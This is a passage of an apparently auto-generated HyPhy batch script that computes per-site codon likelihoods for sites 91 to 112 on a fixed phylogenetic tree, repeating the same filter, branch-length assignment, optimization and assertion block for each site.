ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"91\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 92...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"273,274,275\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 92\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"92\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 93...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"276,277,278\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 93\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"93\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 94...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"279,280,281\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 94\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"94\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 95...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"282,283,284\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 95\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"95\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 96...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"285,286,287\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 96\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"96\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 97...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"288,289,290\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 97\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"97\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 98...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"291,292,293\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 98\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"98\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 99...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"294,295,296\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 99\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"99\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 100...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"297,298,299\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 100\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"100\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 101...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"300,301,302\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 101\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"101\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 102...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"303,304,305\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 102\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"102\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 103...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"306,307,308\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 103\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"103\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 104...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"309,310,311\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 104\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"104\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 105...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"312,313,314\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 105\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"105\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 106...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"315,316,317\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 106\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"106\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 107...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"318,319,320\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 107\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"107\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 108...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"321,322,323\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 108\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"108\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 109...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"324,325,326\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 109\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"109\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 110...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"327,328,329\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 110\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"110\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 111...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"330,331,332\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 111\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"111\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 112...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"333,334,335\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 112\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, 